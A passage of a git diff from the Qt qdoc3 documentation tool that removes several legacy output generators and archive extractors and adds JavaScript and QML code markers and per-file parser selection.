+        QDeclarativeJS::AST::Node *ast = parser.rootNode();
+        // Pass the unmodified code to the visitor so that pragmas and other
+        // unhandled source text can be output.
+        QmlMarkupVisitor visitor(code, pragmas, &engine);
+        QDeclarativeJS::AST::Node::accept(ast, &visitor);
+        output = visitor.markedUpCode();
+    } else {
+        location.warning(tr("Unable to parse JavaScript: \"%1\" at line %2, column %3").arg(
+            parser.errorMessage()).arg(parser.errorLineNumber()).arg(
+            parser.errorColumnNumber()));
+        output = protect(code);
+    }
+
+    return output;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/archiveextractor.h b/tools/qdoc3/jscodemarker.h
index d6a64f5..e07cdae 100644
--- a/tools/qdoc3/archiveextractor.h
+++ b/tools/qdoc3/jscodemarker.h
@@ -40,37 +40,34 @@
 ****************************************************************************/
 
 /*
-  archiveextractor.h
+  jscodemarker.h
 */
 
-#ifndef ARCHIVEEXTRACTOR_H
-#define ARCHIVEEXTRACTOR_H
+#ifndef JSCODEMARKER_H
+#define JSCODEMARKER_H
 
-#include <qstringlist.h>
-
-#include "location.h"
+#include "qmlcodemarker.h"
 
 QT_BEGIN_NAMESPACE
 
-class ArchiveExtractor
+class JsCodeMarker : public QmlCodeMarker
 {
 public:
-    ArchiveExtractor( const QStringList& extensions );
-    virtual ~ArchiveExtractor();
-
-    virtual void extractArchive( const Location& location,
-				 const QString& filePath,
-				 const QString& outputDir ) = 0;
+    JsCodeMarker();
+    ~JsCodeMarker();
 
-    static ArchiveExtractor *extractorForFileName( const QString& fileName );
+    virtual bool recognizeCode(const QString &code);
+    virtual bool recognizeExtension(const QString &ext);
+    virtual bool recognizeLanguage(const QString &language);
+    virtual Atom::Type atomType() const;
 
-protected:
-    const QStringList& fileExtensions() { return fileExts; }
+    virtual QString markedUpCode(const QString &code, 
+                                 const Node *relative, 
+                                 const Location &location);
 
 private:
-    QStringList fileExts;
-
-    static QList<ArchiveExtractor *> extractors;
+    QString addMarkUp(const QString &code, const Node *relative,
+                      const Location &location);
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/linguistgenerator.cpp b/tools/qdoc3/linguistgenerator.cpp
deleted file mode 100644
index f1ed52a..0000000
--- a/tools/qdoc3/linguistgenerator.cpp
+++ /dev/null
@@ -1,245 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  linguistgenerator.cpp
-*/
-
-#include "codemarker.h"
-#include "pagegenerator.h"
-#include "linguistgenerator.h"
-#include "node.h"
-#include "separator.h"
-#include "tree.h"
-#include <ctype.h>
-
-#include <qlist.h>
-#include <qiterator.h>
-
-QT_BEGIN_NAMESPACE
-
-#define COMMAND_VERSION                 Doc::alias("version")
-
-LinguistGenerator::LinguistGenerator()
-    : PageGenerator()
-{
-}
-
-LinguistGenerator::~LinguistGenerator()
-{
-}
-
-void LinguistGenerator::initializeGenerator(const Config &config)
-{
-    Generator::initializeGenerator(config);
-}
-
-void LinguistGenerator::terminateGenerator()
-{
-    PageGenerator::terminateGenerator();
-}
-
-QString LinguistGenerator::format()
-{
-    return "Linguist";
-}
-
-QString LinguistGenerator::fileExtension(const Node * /* node */) const
-{
-    return "ts";
-}
-
-void LinguistGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker)
-{
-    out().setCodec("UTF-8");
-
-    QDomDocument document("TS");
-    QDomElement documentElement = document.createElement("TS");
-    documentElement.setAttribute("version", "1.1");
-
-    QList<QDomElement> contextElements = generateIndexSections(document, inner, marker);
-    foreach (const QDomElement &element, contextElements)
-        documentElement.appendChild(element);
-
-    QDomProcessingInstruction process = document.createProcessingInstruction(
-        "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("UTF-8"));
-    document.appendChild(process);
-    document.appendChild(documentElement);
-
-    out() << document;
-    out().flush();
-}
-
-void LinguistGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker )
-{
-    out().setCodec("utf-8");
-
-    QDomDocument document("TS");
-    QDomElement documentElement = document.createElement("TS");
-    documentElement.setAttribute("version", "1.1");
-
-    QList<QDomElement> contextElements = generateIndexSections(document, fake, marker);
-    foreach (const QDomElement &element, contextElements)
-        documentElement.appendChild(element);
-
-    QDomProcessingInstruction process = document.createProcessingInstruction(
-        "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("utf-8"));
-    document.appendChild(process);
-    document.appendChild(documentElement);
-
-    out() << document;
-    out().flush();
-}
-
-QList<QDomElement> LinguistGenerator::generateIndexSections(
-                   QDomDocument &document, const Node *node, CodeMarker *marker)
-{
-    QList<QDomElement> contexts;
-
-    if (node->isInnerNode()) {
-        const InnerNode *inner = static_cast<const InnerNode *>(node);
-
-        foreach (const Node *child, inner->childNodes()) {
-            // Recurse to generate a DOM element for this child node and all
-            // its children.
-            contexts += generateIndexSections(document, child, marker);
-        }
-/*
-        foreach (const Node *child, inner->relatedNodes()) {
-            QDomElement childElement = generateIndexSections(document, child, marker);
-            element.appendChild(childElement);
-        }
-*/
-    }
-
-    // Add documentation to this node if it exists.
-    if (!node->doc().isEmpty()) {
-
-        QString nodeName = fullName(node);
-        QString signature;
-
-        if (node->type() == Node::Function) {
-            QStringList pieces;
-            const FunctionNode *functionNode = static_cast<const FunctionNode*>(node);
-            foreach (const Parameter &parameter, functionNode->parameters()) {
-                QString typeString = parameter.leftType() + parameter.rightType();
-                if (typeString.split(" ").size() > 1)
-                    pieces.append(typeString + parameter.name());
-                else
-                    pieces.append(typeString + " " + parameter.name());
-            }
-            signature = "(" + pieces.join(", ") + ")";
-        }
-
-        QDomElement contextElement = document.createElement("context");
-        QDomElement nameElement = document.createElement("name");
-        nameElement.appendChild(document.createTextNode(nodeName + signature));
-        contextElement.appendChild(nameElement);
-
-        QDomElement messageElement = document.createElement("message");
-        contextElement.appendChild(messageElement);
-
-        QDomElement sourceElement = document.createElement("source");
-        QString sourceText = simplified(node->doc().source());
-        if (!signature.isEmpty() && signature != "()" && !sourceText.contains("\\fn"))
-            sourceText.prepend(QString("\\fn %1%2\n").arg(nodeName).arg(signature));
-        sourceElement.appendChild(document.createTextNode(sourceText));
-        messageElement.appendChild(sourceElement);
-
-        QDomElement translationElement = document.createElement("translation");
-        translationElement.setAttribute("type", "unfinished");
-        messageElement.appendChild(translationElement);
-
-        QDomElement locationElement = document.createElement("location");
-        locationElement.setAttribute("filename", node->doc().location().filePath());
-        locationElement.setAttribute("line", node->doc().location().lineNo());
-        messageElement.appendChild(locationElement);
-
-        contexts.append(contextElement);
-    }
-
-    return contexts;
-}
-
-QString LinguistGenerator::fullName(const Node *node) const
-{
-    if (!node)
-        return "";
-    else if (node->parent() && !node->parent()->name().isEmpty())
-        return fullName(node->parent()) + "::" + node->name();
-    else
-        return node->name();
-}
-
-QString LinguistGenerator::simplified(const QString &text) const
-{
-    QStringList lines = text.split("\n");
-
-    while (lines.size() > 0 && lines.first().trimmed().isEmpty())
-        lines.pop_front();
-
-    while (lines.size() > 0 && lines.last().trimmed().isEmpty())
-        lines.pop_back();
-
-    int min = 0;
-    bool set = false;
-    foreach (const QString &line, lines) {
-        int j = 0;
-        while (j < line.length()) {
-            if (line[j] != ' ')
-                break;
-            ++j;
-        }
-        if (j < line.length()) {
-            if (!set) {
-                min = j;
-                set = true;
-            } else
-                min = qMin(min, j);
-        }
-    }
-    for (int i = 0; i < lines.size(); ++i)
-        lines[i] = lines[i].mid(min);
-
-    return lines.join("\n");
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/location.cpp b/tools/qdoc3/location.cpp
index 13e7bb3..71ee196 100644
--- a/tools/qdoc3/location.cpp
+++ b/tools/qdoc3/location.cpp
@@ -390,10 +390,6 @@ QString Location::top() const
     if (lineNo() >= 1) {
         str += QLatin1Char(':'); 
         str += QString::number(lineNo());
-#if 0
-        if (columnNo() >= 1)
-            str += ":" + QString::number(columnNo());
-#endif
     }
     if (etc())
         str += QLatin1String(" (etc.)");
diff --git a/tools/qdoc3/loutgenerator.cpp b/tools/qdoc3/loutgenerator.cpp
deleted file mode 100644
index 3a6a078..0000000
--- a/tools/qdoc3/loutgenerator.cpp
+++ /dev/null
@@ -1,63 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  loutgenerator.cpp
-*/
-
-#include "loutgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-LoutGenerator::LoutGenerator()
-{
-}
-
-LoutGenerator::~LoutGenerator()
-{
-}
-
-QString LoutGenerator::format()
-{
-    return "lout";
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp
index 66b5b9d..7eb8067 100644
--- a/tools/qdoc3/main.cpp
+++ b/tools/qdoc3/main.cpp
@@ -45,30 +45,19 @@
 
 #include <qglobal.h>
 #include <stdlib.h>
-#include "apigenerator.h"
 #include "codemarker.h"
 #include "codeparser.h"
 #include "config.h"
 #include "cppcodemarker.h"
 #include "cppcodeparser.h"
-#include "cpptoqsconverter.h"
+#include "ditaxmlgenerator.h"
 #include "doc.h"
 #include "htmlgenerator.h"
-#include "jambiapiparser.h"
-#include "javacodemarker.h"
-#include "javadocgenerator.h"
-#include "linguistgenerator.h"
-#include "loutgenerator.h"
-#include "mangenerator.h"
+#include "jscodemarker.h"
 #include "plaincodemarker.h"
-#include "polyarchiveextractor.h"
-#include "polyuncompressor.h"
-#include "qsakernelparser.h"
-#include "qscodemarker.h"
-#include "qscodeparser.h"
-#include "sgmlgenerator.h"
-#include "webxmlgenerator.h"
-#include "ditaxmlgenerator.h"
+#include "puredocparser.h"
+#include "qmlcodemarker.h"
+#include "qmlcodeparser.h"
 #include "tokenizer.h"
 #include "tree.h"
 #include <qdebug.h>
@@ -105,22 +94,6 @@ static bool showInternal = false;
 static bool obsoleteLinks = false;
 static QStringList defines;
 static QHash<QString, Tree *> trees;
-static QString appArg; // application
-
-/*!
-  Find the Tree for language \a lang and return a pointer to it.
-  If there is no Tree for language \a lang in the Tree table, add
-  a new one. The Tree table is indexed by \a lang strings.
- */
-static Tree* treeForLanguage(const QString &lang)
-{
-    Tree* tree = trees.value(lang);
-    if (tree == 0) {
-        tree = new Tree;
-        trees.insert( lang, tree );
-    }
-    return tree;
-}
 
 /*!
   Print the help message to \c stdout.
@@ -174,7 +147,7 @@ static void processQdocconfFile(const QString &fileName)
                              QStringList() << defaults[i].value);
 	++i;
     }
-    config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false"));
+    config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false"));
     config.setStringList(CONFIG_SHOWINTERNAL,
                          QStringList(showInternal ? "true" : "false"));
     config.setStringList(CONFIG_OBSOLETELINKS,
@@ -193,24 +166,6 @@ static void processQdocconfFile(const QString &fileName)
     config.load(fileName);
 
     /*
-      Set the application to which qdoc will create the output.
-      The two applications are:
-
-      creator: additional formatting for viewing in
-      the Creator application.
-
-      online: full-featured online version with search and
-      links to Qt topics
-    */
-    if (appArg.isEmpty()) {
-        qDebug() << "Warning: Application flag not specified on"
-                 << "command line. Options are -creator (default)"
-                 << "and -online.";
-        appArg = "creator";
-    }
-    config.setStringList(CONFIG_APPLICATION, QStringList(appArg));
-
-    /*
       Add the defines to the configuration variables.
      */
     QStringList defs = defines + config.getStringList(CONFIG_DEFINES);
@@ -229,7 +184,6 @@ static void processQdocconfFile(const QString &fileName)
     Location::initialize(config);
     Tokenizer::initialize(config);
     Doc::initialize(config);
-    CppToQsConverter::initialize(config);
     CodeMarker::initialize(config);
     CodeParser::initialize(config);
     Generator::initialize(config);
@@ -270,74 +224,75 @@ static void processQdocconfFile(const QString &fileName)
     tree->setVersion(config.getString(CONFIG_VERSION));
 
     /*
-      There must be a code parser for the source code language, e.g. C++.
-      If there isn't one, give up.
-     */
-    CodeParser *codeParser = CodeParser::parserForLanguage(lang);
-    if (codeParser == 0)
-        config.lastLocation().fatal(tr("Cannot parse programming language '%1'").arg(lang));
-
-    /*
       By default, the only output format is HTML.
      */
     QSet<QString> outputFormats = config.getStringSet(CONFIG_OUTPUTFORMATS);
     Location outputFormatsLocation = config.lastLocation();
 
     /*
-      There must be a code marker for the source code language, e.g. C++.
-      If there isn't one, give up.
-     */
-    CodeMarker *marker = CodeMarker::markerForLanguage(lang);
-    if (!marker && !outputFormats.isEmpty())
-	langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang));
-
-    /*
-      Read some XML indexes. What are they??? 
+      Read some XML indexes containing definitions from other documentation sets.
      */
     QStringList indexFiles = config.getStringList(CONFIG_INDEXES);
     tree->readIndexes(indexFiles);
-    
+
     /*
-      Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx"
-      Put them in a set.
+      Read the list of excluded directories.
      */
     QSet<QString> excludedDirs;
     QStringList excludedDirsList = config.getStringList(CONFIG_EXCLUDEDIRS);
     foreach (const QString &excludeDir, excludedDirsList)
         excludedDirs.insert(QDir::fromNativeSeparators(excludeDir));
-    QSet<QString> headers = QSet<QString>::fromList(
-        config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS,
-                           codeParser->headerFileNameFilter(),
-                           excludedDirs));
 
     /*
-      Parse each header file in the set and add it to the big tree.
+      Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx"
+      Put them in a set.
      */
-    QSet<QString>::ConstIterator h = headers.begin();
-    while (h != headers.end()) {
-	codeParser->parseHeaderFile(config.location(), *h, tree);
-	++h;
-    }
-    codeParser->doneParsingHeaderFiles(tree);
+    QSet<QString> headers = QSet<QString>::fromList(
+        config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, excludedDirs));
 
     /*
       Get all the source text files: "*.cpp *.qdoc *.mm"
       Put them in a set.
      */
     QSet<QString> sources = QSet<QString>::fromList(
-        config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS,
-                           codeParser->sourceFileNameFilter(),
-                           excludedDirs));
+        config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, excludedDirs));
+
+    /*
+      Parse each header file in the set using the appropriate parser and add it
+      to the big tree.
+     */
+    QSet<CodeParser *> usedParsers;
 
+    QSet<QString>::ConstIterator h = headers.begin();
+    while (h != headers.end()) {
+        CodeParser *codeParser = CodeParser::parserForHeaderFile(*h);
+        if (codeParser) {
+	    codeParser->parseHeaderFile(config.location(), *h, tree);
+            usedParsers.insert(codeParser);
+        }
+	++h;
+    }
+
+    foreach (CodeParser *codeParser, usedParsers)
+        codeParser->doneParsingHeaderFiles(tree);
+
+    usedParsers.clear();
     /*
-      Parse each source text file in the set and add it to the big tree.
+      Parse each source text file in the set using the appropriate parser and
+      add it to the big tree.
      */
     QSet<QString>::ConstIterator s = sources.begin();
     while (s != sources.end()) {
-	codeParser->parseSourceFile(config.location(), *s, tree);
+        CodeParser *codeParser = CodeParser::parserForSourceFile(*s);
+        if (codeParser) {
+	    codeParser->parseSourceFile(config.location(), *s, tree);
+            usedParsers.insert(codeParser);
+        }
 	++s;
     }
-    codeParser->doneParsingSourceFiles(tree);
+
+    foreach (CodeParser *codeParser, usedParsers)
+        codeParser->doneParsingSourceFiles(tree);
 
     /*
       Now the big tree has been built from all the header and
@@ -358,7 +313,7 @@ static void processQdocconfFile(const QString &fileName)
         if (generator == 0)
             outputFormatsLocation.fatal(tr("Unknown output format '%1'")
                                         .arg(*of));
-        generator->generateTree(tree, marker);
+        generator->generateTree(tree);
         ++of;
     }
 
@@ -374,7 +329,6 @@ static void processQdocconfFile(const QString &fileName)
     Generator::terminate();
     CodeParser::terminate();
     CodeMarker::terminate();
-    CppToQsConverter::terminate();
     Doc::terminate();
     Tokenizer::terminate();
     Location::terminate();
@@ -401,52 +355,24 @@ int main(int argc, char **argv)
 #ifndef QT_BOOTSTRAPPED
     QCoreApplication app(argc, argv);
 #endif
-    QString cf = "qsauncompress \1 \2";
-    PolyArchiveExtractor qsaExtractor(QStringList() << "qsa",cf);
-    cf = "tar -C \2 -xf \1";
-    PolyArchiveExtractor tarExtractor(QStringList() << "tar",cf);
-    cf = "tar -C \2 -Zxf \1";
-    PolyArchiveExtractor tazExtractor(QStringList() << "taz",cf);
-    cf = "tar -C \2 -jxf \1";
-    PolyArchiveExtractor tbz2Extractor(QStringList() << "tbz" << "tbz2",cf);
-    cf = "tar -C \2 -zxf \1";
-    PolyArchiveExtractor tgzExtractor(QStringList() << "tgz",cf);
-    cf = "unzip \1 -d \2";
-    PolyArchiveExtractor zipExtractor(QStringList() << "zip",cf);
-    cf = "bunzip2 -c \1 > \2";
-    PolyUncompressor bz2Uncompressor(QStringList() << "bz" << "bz2",cf);
-    cf = "gunzip -c \1 > \2";
-    PolyUncompressor gzAndZUncompressor(QStringList() << "gz" << "z" << "Z",cf);
-    cf = "unzip -c \1 > \2";
-    PolyUncompressor zipUncompressor(QStringList() << "zip",cf);
 
     /*
       Create code parsers for the languages to be parsed,
       and create a tree for C++.
      */
     CppCodeParser cppParser;
-    Tree *cppTree = treeForLanguage(cppParser.language());
-
-    QsCodeParser qsParser(cppTree);
-    QsaKernelParser qsaKernelParser(cppTree);
-    JambiApiParser jambiParser(cppTree);
+    QmlCodeParser qmlParser;
+    PureDocParser docParser;
 
     /*
-      Create code markers for plain text, C++, Java, and qs.
+      Create code markers for plain text and C++.
      */
     PlainCodeMarker plainMarker;
     CppCodeMarker cppMarker;
-    JavaCodeMarker javaMarker;
-    QsCodeMarker qsMarker;
+    JsCodeMarker jsMarker;
+    QmlCodeMarker qmlMarker;
 
-    ApiGenerator apiGenerator;
     HtmlGenerator htmlGenerator;
-    JavadocGenerator javadocGenerator;
-    LinguistGenerator linguistGenerator;
-    LoutGenerator loutGenerator;
-    ManGenerator manGenerator;
-    SgmlGenerator smglGenerator;
-    WebXMLGenerator webxmlGenerator;
     DitaXmlGenerator ditaxmlGenerator;
 
     QStringList qdocFiles;
@@ -481,10 +407,6 @@ int main(int argc, char **argv)
         else if (opt == "-obsoletelinks") {
             obsoleteLinks = true;
         }
-	else if (opt == "-creator")
-		appArg = "creator";
-	else if (opt == "-online")
-		appArg = "online";
         else {
 	    qdocFiles.append(opt);
 	}
diff --git a/tools/qdoc3/mangenerator.cpp b/tools/qdoc3/mangenerator.cpp
deleted file mode 100644
index 05fa3bf..0000000
--- a/tools/qdoc3/mangenerator.cpp
+++ /dev/null
@@ -1,228 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  mangenerator.cpp
-*/
-
-#include <qdatetime.h>
-#include <qregexp.h>
-
-#include "mangenerator.h"
-#include "node.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-ManGenerator::ManGenerator()
-{
-    date = QDate::currentDate().toString( "d MMMM yyyy" );
-}
-
-ManGenerator::~ManGenerator()
-{
-}
-
-QString ManGenerator::format()
-{
-    return "man";
-}
-
-int ManGenerator::generateAtom( const Atom *atom, const Node * /* relative */,
-				CodeMarker * /* marker */ )
-{
-#if 0
-    switch ( atom->type() ) {
-    case Atom::AbstractBegin:
-	break;
-    case Atom::AbstractEnd:
-	break;
-    case Atom::Alias:
-	break;
-    case Atom::AliasArg:
-	break;
-    case Atom::BaseName:
-	break;
-    case Atom::BriefBegin:
-	break;
-    case Atom::BriefEnd:
-	break;
-    case Atom::C:
-	break;
-    case Atom::CaptionBegin:
-	break;
-    case Atom::CaptionEnd:
-	break;
-    case Atom::CitationBegin:
-	break;
-    case Atom::CitationEnd:
-	break;
-    case Atom::Code:
-	break;
-    case Atom::FootnoteBegin:
-	break;
-    case Atom::FootnoteEnd:
-	break;
-    case Atom::FormatBegin:
-	break;
-    case Atom::FormatEnd:
-	break;
-    case Atom::GeneratedList:
-	break;
-    case Atom::Image:
-	break;
-    case Atom::ImageText:
-	break;
-    case Atom::Link:
-	break;
-    case Atom::LinkNode:
-	break;
-    case Atom::ListBegin:
-	break;
-    case Atom::ListItemNumber:
-	break;
-    case Atom::ListItemBegin:
-	out() << ".IP " << atom->string() << ".\n";
-	break;
-    case Atom::ListItemEnd:
-	break;
-    case Atom::ListEnd:
-	break;
-    case Atom::Nop:
-	break;
-    case Atom::ParaBegin:
-	out() << ".PP\n";
-	break;
-    case Atom::ParaEnd:
-	out() << "\n";
-	break;
-    case Atom::RawFormat:
-	break;
-    case Atom::RawString:
-	break;
-    case Atom::SectionBegin:
-	break;
-    case Atom::SectionEnd:
-	break;
-    case Atom::SectionHeadingBegin:
-	break;
-    case Atom::SectionHeadingEnd:
-	break;
-    case Atom::SidebarBegin:
-	break;
-    case Atom::SidebarEnd:
-	break;
-    case Atom::String:
-	out() << protectTextLine( atom->string() );
-	break;
-    case Atom::TableBegin:
-	break;
-    case Atom::TableEnd:
-	break;
-    case Atom::TableOfContents:
-	break;
-    case Atom::Target:
-	break;
-    case Atom::UnknownCommand:
-	;
-    }
-#endif
-    unknownAtom( atom );
-    return 0;
-}
-
-void ManGenerator::generateClassLikeNode( const InnerNode *classe,
-				      CodeMarker *marker )
-{
-    generateHeader( classe->name() );
-    out() << ".SH NAME\n"
-	  << classe->name() << "\n"
-          << ".SH SYNOPSYS\n";
-    generateBody( classe, marker );
-    generateFooter();
-}
-
-void ManGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker )
-{
-    generateHeader( "foo" );
-    generateBody( fake, marker );
-    generateFooter();
-}
-
-QString ManGenerator::fileExtension(const Node * /* node */) const
-{
-    return "3qt";
-}
-
-void ManGenerator::generateHeader( const QString& name )
-{
-    out() << ".TH " << protectArg( name )
-	  << " " << protectArg( "3qt" )
-	  << " " << protectArg( date )
-	  << " " << protectArg( "Nokia Corporation and/or its subsidiary(-ies)" )
-	  << " " << protectArg( "Qt Toolkit" ) << "\n";
-}
-
-void ManGenerator::generateFooter()
-{
-}
-
-QString ManGenerator::protectArg( const QString& str )
-{
-    for ( int i = 0; i < (int) str.length(); i++ ) {
-	if ( str[i] == ' ' || str[i].isSpace() ) {
-	    QString quoted = str;
-	    quoted.replace( "\"", "\"\"" );
-	    return "\"" + quoted + "\"";
-	}
-    }
-    return str;
-}
-
-QString ManGenerator::protectTextLine( const QString& str )
-{
-    QString t = str;
-    if ( t.startsWith(".") || t.startsWith("'") )
-	t.prepend( "\\&" );
-    return t;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp
index 34cbbdb..7195322 100644
--- a/tools/qdoc3/node.cpp
+++ b/tools/qdoc3/node.cpp
@@ -46,6 +46,7 @@
 #include "node.h"
 #include "tree.h"
 #include "codemarker.h"
+#include <QUuid>
 #include <qdebug.h>
 
 QT_BEGIN_NAMESPACE
@@ -103,7 +104,6 @@ Node::Node(Type type, InnerNode *parent, const QString& name)
 {
     if (par)
         par->addChild(this);
-    //uuid = QUuid::createUuid();
 }
 
 /*!
@@ -270,14 +270,16 @@ QString Node::fileBase() const
 }
 
 /*!
-  Returns this node's Universally Unique IDentifier.
-  If its UUID has not yet been created, it is created
-  first.
+  Returns this node's Universally Unique IDentifier as a
+  QString. Creates the UUID first, if it has not been created.
  */
-QUuid Node::guid() const
+QString Node::guid() const
 {
-    if (uuid.isNull())
-        uuid = QUuid::createUuid();
+    if (uuid.isEmpty()) {
+        QUuid quuid = QUuid::createUuid();
+        QString t = quuid.toString();
+        uuid = "id-" + t.mid(1,t.length()-2);
+    }
     return uuid;
 }
 
@@ -1152,8 +1154,8 @@ QString Parameter::reconstruct(bool value) const
     if (!p.endsWith(QChar('*')) && !p.endsWith(QChar('&')) && !p.endsWith(QChar(' ')))
         p += " ";
     p += nam;
-    if (value)
-        p += def;
+    if (value && !def.isEmpty())
+        p += " = " + def;
     return p;
 }
 
@@ -1362,6 +1364,21 @@ QString FunctionNode::signature(bool values) const
 }
 
 /*!
+  Returns true if the node's status is Internal, or if its
+  parent is a class with internal status.
+ */
+bool FunctionNode::isInternal() const
+{
+    if (status() == Internal)
+        return true;
+    if (parent() && parent()->status() == Internal)
+        return true;
+    if (relates() && relates()->status() == Internal)
+        return true;
+    return false;
+}
+
+/*!
   Print some debugging stuff.
  */
 void FunctionNode::debug() const
@@ -1545,11 +1562,6 @@ void QmlClassNode::clear()
  */
 QString QmlClassNode::fileBase() const
 {
-#if 0
-    if (Node::fileBase() == "item")
-        qDebug() << "FILEBASE: qmlitem" << name();
-    return "qml_" + Node::fileBase();
-#endif
     return Node::fileBase();
 }
 
@@ -1681,10 +1693,13 @@ static QString valueType(const QString& n)
   read-only. The algorithm for figuring this out is long
   amd tedious and almost certainly will break. It currently
   doesn't work for qmlproperty bool PropertyChanges::explicit,
-  because the tokenized gets confused on "explicit" .
+  because the tokenizer gets confused on "explicit".
  */
 bool QmlPropertyNode::isWritable(const Tree* tree) const
 {
+    if (wri != Trool_Default)
+        return fromTrool(wri, false);
+
     Node* n = parent();
     while (n && n->subType() != Node::QmlClass)
         n = n->parent();
diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h
index 4fcbade..aa7c78a 100644
--- a/tools/qdoc3/node.h
+++ b/tools/qdoc3/node.h
@@ -55,7 +55,6 @@
 #include "doc.h"
 #include "location.h"
 #include "text.h"
-#include <QUuid>
 
 QT_BEGIN_NAMESPACE
 
@@ -87,8 +86,8 @@ class Node
 
     enum SubType { 
         NoSubType,
-        Example, 
-        HeaderFile, 
+        Example,
+        HeaderFile,
         File,
         Image,
         Group,
@@ -114,7 +113,7 @@ class Node
         Commendable, 
         Main, 
         Internal 
-    }; // don't reorder thisw enum
+    }; // don't reorder this enum
     
     enum ThreadSafeness { 
         UnspecifiedSafeness, 
@@ -165,6 +164,7 @@ class Node
     virtual bool isReimp() const { return false; }
     virtual bool isFunction() const { return false; }
     virtual bool isQmlNode() const { return false; }
+    virtual bool isInternal() const { return false; }
     Type type() const { return typ; }
     virtual SubType subType() const { return NoSubType; }
     InnerNode* parent() const { return par; }
@@ -191,7 +191,7 @@ class Node
     void clearRelated() { rel = 0; }
 
     virtual QString fileBase() const;
-    QUuid guid() const;
+    QString guid() const;
     QString ditaXmlHref();
     QString extractClassName(const QString &string) const;
 
@@ -223,7 +223,7 @@ class Node
     QString u;
     QString sinc;
     QString tpl;
-    mutable QUuid uuid;
+    mutable QString uuid;
 };
 
 class FunctionNode;
@@ -637,6 +637,7 @@ class FunctionNode : public LeafNode
     virtual bool isQmlNode() const { 
         return ((type() == QmlSignal) || (type() == QmlMethod)); 
     }
+    virtual bool isInternal() const;
 
     void debug() const;
 
